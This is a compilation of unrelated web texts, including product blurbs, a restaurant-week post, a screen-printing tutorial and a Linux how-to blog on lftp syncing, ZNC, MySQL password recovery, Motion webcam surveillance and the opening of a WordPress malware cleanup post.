Making your theater room comfortable and accessible is a great way to keep your guests feeling welcome. Having movie pillows gives you a small way to give your guests a little more in the way of feeling invited. A movie theater itself is quite sterile in its way, and that makes sense. When you are serving hundreds of people at a time, you need to keep it simple. Fortunately, for you and your media room, having these restrictions is not your reality. Be sure to think about the people who will be attending events in your media room and that will also help you plan accordingly.


text: Warren Ellis' first HELLBLAZER story arc is collected in this volume reprinting issues #134-139! When John Constantine's old friend Isabel Bracknell turns up dead, he goes in search of the reasons behind it. But his investigation earns him a beating from the so-called "magician" responsible. Can Constantine help Isabel rest in peace?


text:
Hockey Trophy Awards
Award Categories
Acrylic Awards
Artistic Awards
Cast Awards
Certificate Awards
Clock Awards
Corporate Plaques
Crystal Awards
Cup Trophy Awards
Custom Lanyards
Custom Patches
Dash Plates
Display Cases
Economy Awards
Gift Awards
Glass Awards
Lapel Pins
Medal Awards
Name Badges | Plates
Perpetual Plaques
Promotional Give Aways
Ribbon Awards
Signs | Banners
Stone Awards
Trophies | Resin
Trophies | Traditional
Wood Awards
Theme Categories
Achievement Awards
Boss Gift Awards
Employee Awards
Executive Gift Awards
Fire and Safety Awards
Golf Awards
Marble Awards
Patriotic Awards
Religious Awards
Sales Awards
Secretary Gift Awards
Shape Awards
Sport Trophy Awards
Orbit Resin Awards -Hockey
These Orbit Resin Awards features unique design elements. Using a combination of colors, sport and activity specific icons in addition to negative space creates a dynamic look to these awards. All of the Orbit series awards feature a large star that rises up from the base as a focal point for the sport and activity icons. The Orbit series comes in wide variety or sports and academic activities. All of the Orbit series awards stand 4 1/2" tall and the gold antique colored base has plenty of room for what ever your personalization needs might be. These are the perfect awards for your next awards presentation.
Production lead time for this award is 6 days.
Customization Options
Engraving Plate
Share this Award:
Prod #
Hockey 4 1/2" tall
Stay Connected:
Helpful Information
Shipping Time-frames
Artwork File Formats
Engraving Text Ideas
Store Policies
Privacy Policy
Rainbow Engraving
10311 Woodberry Road Suite 203 Tampa, FL 33619
Phone: 813-685-0792
Powered by
BizWizard ShopKart by NetSoft Studio, LLC.
© Copyright 2007-2020 All Rights Reserved.
Privacy Policy


text:
Traditional CRW happens each summer and winter, but Dine Out Charlotte gives local diners a springtime option. The 3 course prix fixe meals are either $22 or $32 dollars, depending on the restaurant. To view the participating restaurants, their special menus for this week, and to make reservations, go to: http://dineoutcharlotte.com/restaurantlist.php
Some highlights: Restaurant Week favorite Blue features a Bison Osso Buco and their sublime Sticky Toffee Pudding. Fiamma has almost their entire regular menu on their event menu, and Maestro's Bar and Bistro in Pineville is featuring their Apricot & Brandy Lacquered Duck Breast and my personal favorite, their Filet Mignon Medallions with Cabernet Demiglace. For the budget conscious, both Cantina 1511 locations are offering their 3 course menus for $22 AND the second course has pairings that include a beer or glass of wine.
The Dine Out Charlotte event is focusing on local independent restaurants and chefs featuring menus with fresh, local spring produce. Second Harvest Food Bank's Feed Hungry Kids program will be able to buy 8lbs of food with each $2 dinner donation. Great food, great cause, what else could you ask for? Come on Charlotte, Let's Eat!


text:
5 Catalogs You Deserve to Buy In Spring Of 2019
What are you budget plans for this spring? Shoes, clothing, or some other accessories? Well, if you are on a tight budget, you can consider the following budget – friendly items as well as the must – have products in this spring.


text:
This is Bob Atchison's guide to picking the best antique and old roses that do well in Austin. There are plenty of rose-stories from Bob's past
One of the great mysteries of history is the fate of Anastasia, the last of four daughters born to the Tsar of Russia, Nicholas II and his wife, Alexandra. The great tragedy of her younger brother, Aleksey, who suffered from hemophilia overshadowed the life of Anastasia's family, while the dark clouds of Revolution grew ever ominous on the horizon. Who was Anastasia and how did she live, what were the things she loved? What is the truth about the woman who claimed to be Anastasia years after she disappeared?
Start your journey to discover the real Anastasia by learning about her parents.


text:
Introduction: Low-cost Screen Printed Colouring-in T-shirts
After our first adventures using the Silhouette to cut vinyl and stencil onto t-shirts, we decided to venture into trying screen printing proper. Our makerspace is young and doesn't have much spare cash, so we had to do things on the cheap! While we were deciding what we wanted to print and in which colours, one of our young makers suggested they would like to be able to print a colouring-in design in black and then colour it in with fabric pens. We decided that the idea was borderline genius, so here it is!
Our out-of-pocket expenditure for this project was very low, relying very much on tools and supplies that we already had around, and that we could repurpose for this project. So while we have included tools and materials, we really would recommend that, rather than using this as your starting point, that instead you take a look around and see what can be repurposed.
We used:
- Scrap and offcuts of wood - ours was about 2 x 4 cm
- Basic woodworking tools - saw, drill, screws
- Pocket hole jointer
- Screen mesh - while we have seen people repurpose curtain netting, this was one of the few items that we purchased specifically for this project, very inexpensively from this ebay seller
- Squeegee material (or you can substitute a car squeegee)
- Staples and staple gun
- Silhouette or other vinyl cutter (we used a Silhouette Portrait)
- Vinyl
- Hook/probe tool or similar for weeding vinyl
- Transfer tape or low-tack masking tape
- Screen printing paint
- Something to print on!We used T-shirts
- Iron or hot air gun to fix paint with
Step 1: Cutting Wood for the Frames
If you are buying supplies for your frames, you will be able to choose what size of frame you wish to make and buy accordingly. In our case, we were using scavenged wood, so the size of the frames we made was partly governed by making the most efficient use of what we had to work with, as well as the size of frame we wanted to eventually end up with, and the size of the vinyl we were physically able to cut (there is no point having a huge screen if you only need a small one or can only create small images to use on it!)
Once you have decided what size frame you need, measure your wood and cut it to size. Because we used a pocket hole jointer, we did not have to mitre the edges, only straight cuts with the saw.
Step 2: Building the Frames
We used a pocket hole jointer to build our frames, which made it very easy. All we needed to do was set the jig, clamp the pieces, then drill the pocket holes. Once done, we could just screw the pieces of the frame together very simply to create a frame that is very sturdy and strong. Because we had a framing clamp we used it, but it is not essential - it just makes it even easier to make sure that everything is nice and straight and screw the parts together tightly.
Step 3: Adding Mesh
Once we had built the frames, sanded them down well to make sure they were completely smooth, then we stretched the mesh tightly over them and stapled it in place. The mesh needs to be as taut as possible, with no creases or loose areas, without being so tight that it rips. The easiest way to do this is to staple the middle of the screen first, then move outwards to the corner of the frame. Don't be too stingy with the staples - we used one every inch or so. A second pair of hands to hold everything taut for you also helps!
Step 4: Making a Squeegee
Tada! Your bargain frame is made. As long as it is looked after, and cleaned and dried promptly after each use, it can be reused over and over again.
The next thing to make is a squeegee. We have been informed that you can use car squeegees at a push, but since we had made a good, long-lasting frame, we felt that it was worth having a good, long lasting squeegee as well. We purchased a length of replacement squeegee from ebay quite cheap. To make a useable squeegee, all we did was clamp this between two offcuts of wood, screw it securely in place, and sand down the edges.
Step 5: Cut Your Screen in Vinyl
Now that we have our screens and squeegee, it's time to design something to print!
Because this is printing on a budget, we are using what we already have. And what we have is vast amounts of vinyl, sourced from our local scrapstore at rock-bottom prices. If you have a scrapstore nearby you, it really is worth a visit to see what they have around. They do good work rehoming materials that businesses consider waste, but makers can use in projects. You won't always find what you want or need, but every now and then you will find a complete bargain!
To cut the vinyl, you need to create your graphic in Silhouette Studio, or import your chosen graphic and create a cut file from it. To do this you need to paste your artwork into Studio, then click on trace, then select trace area. Making sure the whole of the image is selected, adjust the high and low pass filters so that the whole image is yellow but none of the background is, then select trace under the apply trace methods menu.
We are making colouring-in T-shirts, so we just want a plain black outline with areas that can be coloured in.
Once you are happy with your image, load the vinyl into the Silhouette, check that you have the correct blade settings. Remember that you want the vinyl to 'kiss cut', that is, cut the top layer of vinyl but not the backing layer, so you may want to reduce the thickness setting to lower than the usual preset for vinyl, particularly if you have a new-ish blade in your machine. Once you have done this, send the cut file to the silhouette and cut your vinyl!
Step 6: Weed the Vinyl and Transfer Image to the Screen
Once your vinyl has cut, carefully weed the vinyl out of the 'void' areas, that is, the areas that you wish the paint to penetrate through your screen. There are special tools you can use to do this, you can make your own using a needle and some cork, or you can use a hook/probe tool, which is what I used. You will need to be careful not to dislodge any other parts of the vinyl if possible. This would have been much easier to show you if we had not been using clear vinyl! I have shown a picture of our screen after ink was used, out of sequence, so that you can see the vinyl areas.
Once done, carefully attach transfer tape or low-tack masking tape to the top of the vinyl so that the different components can be kept in place when they are moved. We used low-tack masking tape as that is what we already had, but transfer tape would be much quicker and easier to use if you can!
You then need to transfer the vinyl to the bottom of the screen (ie the side that will be in contact with the print surface). It helps to have something underneath the screen so that is flat against the mesh. This allows you to use pressure to apply the vinyl without damaging any og the mesh. We just used a stack of magazines. Slowly and carefully peel one corner of the vinyl and lay it on the screen mesh. Then, again slowly and carefully, keep peeling off the backing, smoothing the vinyl as you go and making sure that none of the vinyl you want to transfer gets left behind on the tape.
Once you have done this, ensure that the vinyl extends right to the edge of your screen. If it doesn't, use masking tape to block off the exposed areas.
Step 7: Get Printing!
So now you have your completed screen! Whilst they are not as durable as screens made with photo emulsion, they are fairly robust and can be used over and over again as long as ink is not allowed to dry into the mesh (regardless of how you build a screen, ink should never be allowed to dry in the mesh!) The vinyl is reasonably durable, and will stay in place during washing as long as you are careful, although I am not sure how many times it would survive being washed.
So lets get printing!
You need to make sure that your surface is absolutely as flat as possible. If you are printing on a garment, any layers of that garment other than the one you are printing will need to be protected from ink bleeding through. Place your screen down flat in position, making sure there is no creasing underneath. Add some screen printing ink to the screen and use the squeegee to brush it evenly across, making sure that all of the design is printed and that all excess ink is squeegeed back out of the printed area.
One this is done, carefully lift the screen and set the ink according to the manufacturer's instructions. In our case, this meant ironing on the reverse side (protecting the rest of the fabric and the surface of the iron, of course) for several minutes.
Step 8: Colouring in Your Creation
Once you have finished printing, you can colour your design in! You will need to use proper fabric painting pens (we used Tulip brand) and you can let your imagination run wild! The result is beautiful, bright, rainbow coloured T-shirts that are totally unique and lots of fun to make!
Third Prize in the
Rainbow Contest
Participated in the
Graphic Design Contest
Be the First to Share
3 Discussions
Wow, this is so much more than it seems at first. A LOT of good screen printing information for the beginner. You could probably do this with a ready-made stencil also, right? Definitely going to try this. Thanks!
Thanks! As a beginner myself I guess I know what a newbie needs to know LOL
I'm sure you could use a readymade stencil, there are some really awesome designs out there. Thanks for your support!
Love the mixing of fabric paint and pens to create such a multi-coloured design


text:
"Beautiful People" Is Released
Beautiful People is a 2000 comedy film directed by Jasmin Dizdar. It is set in London during the time of the Bosnian war. Essentially a black comedy, the plot revolves around six stories that are usually separate, but which occasionally intersect.
Jasmin Dizdar's debut feature takes place in London on October 13, 1993. England is to play against Holland in a critical World Cup qualifier. The Bosnian war is at its height, Sebrenica is besieged, and the UN is preparing relief airdrops. Serbian Dado Jehan and Croatian Faruk Pruti meet on a London bus. Recognizing each other as fellow refugees from the same village in Bosnia, they try to beat each other up. The subsequent crazy chase through the streets of central London sets the scene for a highly charged dark comedy. Beautiful People draws a portrait of the multicultural life of London where lives of British families are inadvertently linked with the lives of the refugees. ~ Gönül Dönmez-Colin, All Movie Guide
More information
Wikipedia: Beautiful People (Film)
The New York Times: The Best 1,000 Movies Ever Made


text:
Sync servers using multiple streams with LFTP
If you have a remote server that you want to sync a directory you can use for example rsync, however rsync doesn't offer the multi stream syncing and can be slower if you have many new files. The below solution uses lftp with 5 parallel streams to download and each stream is split into 10 separate segments. This is very helpful if you cannot max your download connection with regular methods and of course if the uploading server has enough bandwidth.
#!/bin/bash login=your_username pass=your_password host=sftp://download.redoem.com remote_dir=/media/files/redoem/dir local_dir=/home/redoer/downloads trap "rm -f /tmp/syncserver.lock" SIGINT SIGTERM if [ -e /tmp/syncserver.lock ] then echo "Syncserver is running already." exit 1 else touch /tmp/syncserver.lock lftp -u $login,$pass $host << EOF set ftp:ssl-allow yes set mirror:use-pget-n 10 mirror -c -P5 --newer-than=now-15min --log=syncserver.log $remote_dir $local_dir quit EOF rm -f /tmp/syncserver.lock trap - SIGINT SIGTERM exit 0 fi
The above sample should work for most cases – you just need to change the values of the variables (highlighted in red).
This part (–newer-than=now-15min) can be changed based on how old files you want to sync, for example if you synced the files 4 hours and you have new files in the last hour, you want to change this part to ONLY download the new files then change this part to be now-60min or more (but less than 4 hours in this example).
If you want to share from your local machine to the remote server, replace this line as (changed parts highlighted in red):
mirror -R -c -P5 --newer-than=now-15min --log=syncserver.log $local_dir $remote_dir
Now save the above as a .sh file, example syncserver.sh and you can add it as a cronjob to run every 15 minutes or run it when you have new files.
*/15 * * * * /home/redoer/syncserver.sh >> /home/redoer/sync_cron.log 2>&1
ZNC in a DigitalOcean droplet
It is nice to have an IRC connection that is always available and that doesn't have your home IP address exposed. With the ZNC setup you can then use your local IRC client (BitchX, irssi, HexChat etc) to connect to the ZNC and you will be able to see all the networks and channels it is connected to. This tutorial will explain how to setup ZNC on a $5/month DigitalOcean droplet (ref link) with Ubuntu 16.04.1. Of course this setup should work on any hosting and setup – DigitalOcean is just given as an example here.
Create a Droplet
1. Press on the Create a Droplet button once you are logged in your DO account
- Select the OS image (Ubuntu 16.04.X), the Droplet size/price ($5/mo), data center region, add extra features, ssh key if you want that extra security and then press on Create Droplet
2. Login to your Droplet (box) and make sure everything is up to date
sudo apt-get update sudo apt-get upgrade
Installation and Build of ZNC
1. Grab few essentials that are needed to compile the ZNC from source
sudo apt-get install build-essential libssl-dev libperl-dev pkg-config
2. Grab the latest ZNC source tar ball
cd /usr/local/src; sudo wget http://znc.in/releases/znc-latest.tar.gz
3. Extract the package and enter the directory
sudo tar -xzvf znc-latest.tar.gz; cd znc*
4. Configure the source system wide (you can use ./configure –prefix=$HOME/znc if you don't want system wide)
5. Then, compile ZNC (might take few minutes)
sudo make; sudo make install
Configuration of ZNC
1. Create a new user on which we will run ZNC
adduser znc-admin
2. Switch to the new user
su znc-admin; cd ~
3. Start ZNC and its configuration
/usr/local/bin/znc --makeconf
4. Below is a sample configuration (ZNC version 1.6.4) – I highlighted in red all the config that I entered manually, the rest is the default values (what is given in the brackets [ ])
[ .. ] Checking for list of available modules... [ >> ] ok [ ** ] [ ** ] -- Global settings -- [ ** ] [ ?? ] Listen on port (1025 to 65534): 14125 [ ?? ] Listen using SSL (yes/no) [no]: yes [ ?? ] Listen using both IPv4 and IPv6 (yes/no) [yes]: yes [ .. ] Verifying the listener... [ >> ] ok [ ** ] Unable to locate pem file: [/home/znc-admin/.znc/znc.pem], creating it [ .. ] Writing Pem file [/home/znc-admin/.znc/znc.pem]... [ >> ] ok [ ** ] Enabled global modules [webadmin] [ ** ] [ ** ] -- Admin user settings -- [ ** ] [ ?? ] Username (alphanumeric): redoEm [ ?? ] Enter password: [ ?? ] Confirm password: [ ?? ] Nick [redoEm]: [ ?? ] Alternate nick [redoEm_]: [ ?? ] Ident [redoEm]: [ ?? ] Real name [Got ZNC?]: Redo'Em [ ?? ] Bind host (optional): [ ** ] Enabled user modules [chansaver, controlpanel] [ ** ] [ ?? ] Set up a network? (yes/no) [yes]: [ ** ] [ ** ] -- Network settings -- [ ** ] [ ?? ] Name [freenode]: [ ?? ] Server host [chat.freenode.net]: [ ?? ] Server uses SSL? (yes/no) [yes]: [ ?? ] Server port (1 to 65535) [6697]: [ ?? ] Server password (probably empty): [ ?? ] Initial channels: #redoEm [ ** ] Enabled network modules [simple_away] [ ** ] [ .. ] Writing config [/home/znc-admin/.znc/configs/znc.conf]... [ >> ] ok [ ** ] [ ** ] To connect to this ZNC you need to connect to it as your IRC server [ ** ] using the port that you supplied. You have to supply your login info [ ** ] as the IRC server password like this: user/network:pass. [ ** ] [ ** ] Try something like this in your IRC client... [ ** ] /server <znc_server_ip> +14125 redoEm:<pass> [ ** ] [ ** ] To manage settings, users and networks, point your web browser to [ ** ] https://<znc_server_ip>:14125/ [ ** ] [ ?? ] Launch ZNC now? (yes/no) [yes]: [ .. ] Opening config [/home/znc-admin/.znc/configs/znc.conf]... [ >> ] ok [ .. ] Loading global module [webadmin]... [ >> ] [/usr/local/lib/znc/webadmin.so] [ .. ] Binding to port [+34125]... [ >> ] ok [ ** ] Loading user [redoEm] [ ** ] Loading network [freenode] [ .. ] Loading network module [simple_away]... [ >> ] [/usr/local/lib/znc/simple_away.so] [ .. ] Adding server [chat.freenode.net +6697 ]... [ >> ] ok [ .. ] Loading user module [chansaver]... [ >> ] ok [ .. ] Loading user module [controlpanel]... [ >> ] ok [ .. ] Forking into the background... [ >> ] [pid: 19576] [ ** ] ZNC 1.6.4 - http://znc.in
That is it – ZNC is now up and running!
Connect to ZNC with your local IRC Client
Now find the IP address from your Droplet and setup your IRC client to connect to it.
Example with HexChat:
After connecting to the ZNC all the networks and channels you have added will appear.
Enable higher screen resolution in VirtualBox (for Ubuntu)
This might work on other systems too, I tried it on Ubuntu 14.04.1.
In VirtualBox the screen for Ubuntu was very small and it was difficult to see what's on the screen. To fix this issue, you need to install the following packages on the guest (VM) box:
sudo apt-get install virtualbox-guest-dkms virtualbox-guest-x11
If you get this error:
The following packages have unmet dependencies. virtualbox-guest-x11 : Depends: xorg-video-abi-15
You will need to remove this package (note: I am not sure what all this removes, it was a lot – use caution):
sudo apt-get remove libcheese-gtk23
Then install these
sudo apt-get install xserver-xorg-core-lts-trusty
sudo apt-get install xserver-xorg-core
Then try to install the virtualbox packages, as the first step:
sudo apt-get install virtualbox-guest-dkms virtualbox-guest-x11
Once they install properly, restart the VM and the screen should be normal size. You might need to increase the Display memory in VB before starting the VM.
Recover data from a damaged hard disk drive
I would like to begin this presentation by first stating that I am not an electronic technician. Nor do I have any more than a very basic understanding of hard disk drive technology. I have a basic understanding of computer technology and of electricity. You do not have to be uber skilled to do what I did.
I successfully retrieved lost data from a dead hard disk drive for a few cents more than $100. I had been quoted $590 and up by professional data recovery firms to do what I did. The following presentation is a brief summary of what I did and how it worked. I cannot guarantee it will work for everyone. I can advise you to be very careful if you try to do any of the things that I did because it is possible that you can so badly corrupt your drive that any data on it might be lost forever.
Before you begin, do what you are doing right now. That is, go on the Internet and read, read, read and then read some more.
The disk drive was accidentally exposed to water. The water caused the printed circuit board to dysfunction. My friend, the owner of the drive replaced it and gave it to me to try to recover his data if I could. The arrangements were I could keep the drive in exchange for any data I might be able to recover from it.
My preliminary assessment was that the data was most probably intact. The platters had never been opened or exposed to air in anyway. The printed circuit board was the only part of the drive that had been damaged as a result of the accident. I wrongly assumed that I could simply, "hot swap," the circuit board that had stopped working for another one from some other drive.
The disk drive details:
Brand: Hitachi HDD: 5K250-250 Model: HTS542525K9SA00 RPM: 5400 Power: 5v 700mA DC Capacity: 250GB Type: SATA P/N: 0A54876 MLC: DA2010
Complete 2.5″ HDD, PCB has been unscrewed
I have a source locally that is involved in dismantling and recycling computers of all kinds. He advised me that from time to time he gets small SATA drives and he has to drill a hole in them to insure that no data can ever be retrieved from any of them. However he told me that would not stop him from giving me the printed circuit boards if I wanted them.
But when I told him about my project to recover data he told me that he was uncertain why but he was pretty sure that I could not simply hot swap boards between drives with any hope of retrieving data or resurrecting a dead drive. That opinion was further substantiated by another friend who provided me with the following Internet link to the HDD Guru Forum.
The article on HDD Guru is also a basic primer that explains why it is not possible to simply hot swap one printed circuit board for another when trying to recover data. The key to understanding that is a thing called the NVRAM or the Non-Volatile Random Access Memory chip. While it would appear that two identical drives have identical circuit boards attached to them that is not totally true. It is true that the boards themselves do operate identically and removing one and replacing it with the other is a piece of cake involving a few tiny screws and some careful physical work.
PCB only, NVRAM removed and placed on top of another chip with scotch tape to avoid losing it
But the individual boards are unique in as much as all of the information about the specific hard disk drive is stored within the NVRAM chip. So while the boards will physically move from one drive to the next they will not operate unless the NVRAM chip is moved as well.
The above article includes two photos of the kind of printed circuit board I worked with including a highlighted diagram of where to find the NVRAM chip.
The first problem I addressed was moving that chip. From a casual glance at the dead drive that I had I knew that there was no way that I could ever dream of doing that type of board level electronic work. But here where I live I am familiar with a TV repair shop that has done circuit board work for me in the past when they removed and reinstalled IC circuit chips in an old Sony TV I owned.
I consulted the technician in that shop and he said that moving the NVRAM, which is basically an 8-legged EPROM or an Erasable Programmable Read Only Memory device, is an easy procedure. The NVRAM performs so that once it has been programmed the information contained in it remains non-volatile. So no matter if the power is turned on or off the data remains safe. The technician I spoke with in the TV shop advised me that he has to move those kinds of chips all of the time. It seems that in modern electronics often the new replacement part is unusable unless the original EPROM chip is removed from the old part and then soldered onto the new part. He estimated the labor cost for moving my NVRAM at $25.
The next problem I encountered was finding a donor drive. As I began this discussion I will remind you that I don't have detailed hard disk drive knowledge. So I was kind of shooting in the dark. On the HDD GURU forums there are various discussions authored by learned individuals who speak of the various characteristics that must be matched between circuit boards. But given the gamble I was taking I determined to set my own standards as I attempted to match a donor drive to my dead drive.
I first determined that the physical description of the two drives had to match exactly (Hitachi, HDD:5K250-250, Model:HTS542525K9SA00). Next I decided that the part numbers for the printed circuit boards should also match because that would insure that the two boards would physically interchange with each other (p/n 0A54876). Finally, I decided that the MLC should also match (DA2010). I know that experienced technicians might suggest that there are other boards which would also interchange but I determined to play it safe and apply my own personal standards in selecting my donor drive.
I also note that there are other characteristics between my donor drive and my dead drive that did not match. There are a variety of numbers on both the hard disk drive enclosure as well as the two PCBs that do not match. I don't know what those numbers mean but I assumed that if the basic information like the size of the drive, the numbers of heads, the speed, the voltage, the number of cylinders etc. all matched then the two boards would probably interchange. I also noted that if the model numbers, pin numbers, and MLC numbers matched those other characteristics should also match.
Finally, I needed a USB, SATA, hard disk drive enclosure in order to have a way to attach the repaired disk drive to my computer. There are countless numbers of them on the market and I bought mine for less than $10 from Amazon. Enough said.
When I was finally able to locate a donor drive, my cost was $55 plus freight. When it arrived the very first thing I did was record all of the characteristics about the two drives and the two PCBs so that they would not become confused during the exchange process. I then careful removed the individual PCBs using the standard static precautions employed in handling any electronic circuitry. Basically you should not touch the PCB except by the edges but there are many places on the internet that can help you understand the precautions in dealing with electrostatic discharge and how it can ruin a printed circuit board.
Bare HDD, no PCB
After I delivered the two printed circuit boards to the TV shop technician, I waited about a week to get them back. I advised the technician to retain the donor NVRAM as I supposed that if my experiment failed I could at least put it back and have one functional hard disk drive. But my concerns were unfounded. He was able to successfully exchange the NVRAM that matched my dead drive with the one that was on the donor drive PCB. When I swapped out my dead PCB with the donor PCB that now had my NVRAM chip soldered onto it, everything worked perfectly.
Just to recap exactly what I did, I had a dysfunctional hard disk drive printed circuit board which had on it the NVRAM which had all of my disk drive's data in it. I also had a printed circuit board which was functional but which had on it an NVRAM that contained data about that other hard disk drive. I had the technician exchange the two NVRAM chips so that the functional printed circuit board now had on it my data's NVRAM chip.
For me the work involved finding a functional drive that matched, and then carefully removing the two circuit boards and safely packing them into electrostatic bags to deliver to the TV technician.
I was able to recover all of the lost data off of my friend's hard disk drive. The drive functions perfectly and I am actually considering installing it in my laptop as it has a greater capacity than the drive I am currently using.
The final cost for the whole operation total just a bit more than $100. The expenses were as follows:
USB SATA hard disk drive enclosure ........ $ 5.58 Used Hitachi donor drive .................. $ 55.00 Shipping for above ........................ $ 6.00 TV technician labor fees .................. $ 35.00 Total charges ............................. $101.58
This was a guest post by TJD.
Recover MySQL root password on Linux and Windows
It happens that sometimes (after 2 days 🙂 ) you forget the password for your root user on MySQL, well there are few steps to perform to recover it.
This was performed on version:
$ mysql -V mysql Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64) using readline 6.2
The following steps need to be performed as root user, so either login with it or use sudo.
Step 1:Stop the MySQL service
$ sudo /etc/init.d/mysql stop
Step 2: Start the MySQL server without password
$ sudo mysqld_safe --skip-grant-tables &
Step 3: Connect to the MySQL server using the MySQL client
$ sudo mysql -u root
Step 4: Change the password for the root user
mysql> use mysql; Database changed mysql> update user set password=PASSWORD("YOUR_NEW_PASS") where user = 'root'; Query OK, 3 rows affected (0.01 sec) Rows matched: 3 Changed: 3 Warnings: 0 mysql> flush privileges; Query OK, 0 rows affected (0.00 sec) mysql> quit Bye
Step 5: Stop the MySQL server again
$ sudo /etc/init.d/mysql stop
Step 6: Start the MySQL server (normally) and test the new password
$ sudo /etc/init.d/mysql start $ sudo mysql -u root -p
This should also work on Windows as well, you will just need to use different commands for start/stop of the MySQL deamon.
Surveillance system with Motion
There is a time when you are leaving your home empty and you don't have an expensive security and alarm system. You need to be protected and be aware if there are any changes or visits that you do not approve of while you are gone. There is an easy way to achieve just that with Motion. What you need is:
- Linux OS (ex. Ubuntu)
- Motion (free)
- Webcam
- Internet (optional)
- Hosting (optional)
- Smartphone with data plan (optional)
After you have your computer ready, webcam installed and working, go and download the Motion project or use Ubuntu's apt to get it (check to get the latest version):
sudo apt-get install motion
Run the program (Motion) with root privileges, like sudo motion, however please note that you should probably run it with sleep or cron, otherwise it will activate immediately and most probably detect you while you are exiting the room.
Now you are all set for the basic surveillance with just a webcam which will record when there is a movement in front of the camera, however there are some more advanced options which could help a lot.
Email you when there is movement detected
For this you will need to install sendmail and mutt, assuming you are on Ubuntu
sudo apt-get install sendmail mutt
The basic settings for sendmail are enough for most users, but if you are an advanced user feel free to modify it as you desire.
Open the file /etc/motion/motion.conf in your favorite text editor (ex. vim), then locate the text on_even_start value and change the value part with:
echo "This is the body of the message" | mutt -s "Motion has been detected" firstname.lastname@example.com
If there is a ; (semi-colon) on the beginning of the row, remove it, also if there is any empty space before the on_event_start.
Sending images to a webserver
It would be good to have the images taken from the motion to a webserver so that you can check from a remote location what is there on the images and report to the police if needed.
Open the /etc/motion/motion.conf file again in a text editor and locate the text on_picture_save value and change the value part with:
scp %f firstname.lastname@example.com:/path/for/images/
If there is a ; (semi-colon) on the beginning of the row, remove it, also if there is any empty space before the on_picture_save.
Enable login without password on your webserver
You need to create a ssh key on your machine with the following
sudo ssh-keygen -t dsa
Upload the key to your webserver:
sudo ssh-copy-id -i /root/.ssh/id_dsa.pub email@example.com
Tips and tricks: if you have a LED light on your camera, put a plastic electrician tape (isolation tape) on it so that the camera is not noticeable. Also, make sure you have some light in the room, unless the camera has a feature for night vision.
Making rounded corners in GIMP
I bugged myself a little to create an image in GIMP which will have rounded corners. I tried with selection tools and everything else I could think of to no avail. Then I browsed trough the Filters selections and I found the script Round Corners. The image I created was initially like this (you can also import a picture):
Looks kinda dull and boring, so now we will make it with round edges and make it more interesting 🙂
Click on the Filters -> Decor -> Round Corners… and a new window with settings will be shown.
NOTE: if the filter Round Corners is grayed-out and you cannot select it, it means that the image has Alpha channel, so you need to remove that. Go to Layer -> Transparency -> Remove Alpha Channel
The window with the settings should look like this
The default settings might not work for everybody, so you can test it how it transforms and what you need.
The options are pretty much self explanatory, so for example if you do not want any shadows just set the Shadow X/Y offset to 0, Work on copy will create a new file and will not modify the original, Add Background will put the new image on a background etc.
The default settings will generate an image like this
You can see the rounded edges, the shadow, the blur on the shadow and the background (white). Now the image looks much slicker and more modern.
Let me know if you have questions about this in the comments below.
Change default search engine in Firefox (in address bar)
The default search engine in Firefox is Google. There is a way to change it to whichever search engine you wish. In this post I will talk for transferring the default search from Google to DuckDuckGo. I am experimenting with DDG now and seeing if it will suit my needs better than Google.
Instant Search
For the instant search () you can easily add new search engines or select one on the go, there is even a GUI which will help you add new ones, remove and edit them
When you are on a website that offers search services, you will see a new entry "Add <site>" in the instant search list of engines, click it and it will be added automatically. So visit https://www.duckduckgo.com/ now to add it if you wish.
Default Search in Address Bar
The default search is the address bar (), instead of typing a URL, you type a search query and hit enter. The search query is then passed to your default search engine and the results are displayed on their website.
There is a way to modify the default search engine in Firefox, start by typing this in the address bar:
agree to the warning and in the search field enter the following:
It should show one row and the Value field should be Google. Double click on it, and enter the value of your desired default search engine (in this case DuckDuckGo).
Click OK and you are good to go.
Note: The search engine that you want to make as your default must be in the Instant Search list.
This is good for productivity if you are using multiple search engines, you can set them on each and search faster without distractions.
How to clean malware infected WordPress blogs
Yes, that happened to me. I had a pretty old version of WordPress for one website and it got attacked by somebody. From what I could tell it was an automated attack and it infected most of the .php files for the same user on the hosting.
How I found out about that was when I opened the website in Chrome a warning was shown instead of the website:
Note: You can also perform a free scan via Sucuri which will confirm if your website is infected and it also offers ways to clean it up.
The following will be reported if infected:
Don't panic, investigate!
First thing I did is panic. After panicking for ~5 minutes I realized that I should calm down and start investigating the issue and how many of my websites are affected. I opened all of them in Chrome and only 3 were infected. I opened the source code to see what the code looks like that is causing problems. Note: DO NOT OPEN THE INFECTED LINK, it will infect your machine (especially if you are on Windows).
The code was a path to the infested website enclosed in <script> tags. Nothing was shown in Firefox though, that is why I didn't see the problem earlier. I assume Firefox has some built-in protection against scripts to external hosts.
Next step was to open the .php files on my server and see the code that is producing the script to the external website. It was on top of the file and it was base64 encoded string, which looked like this:
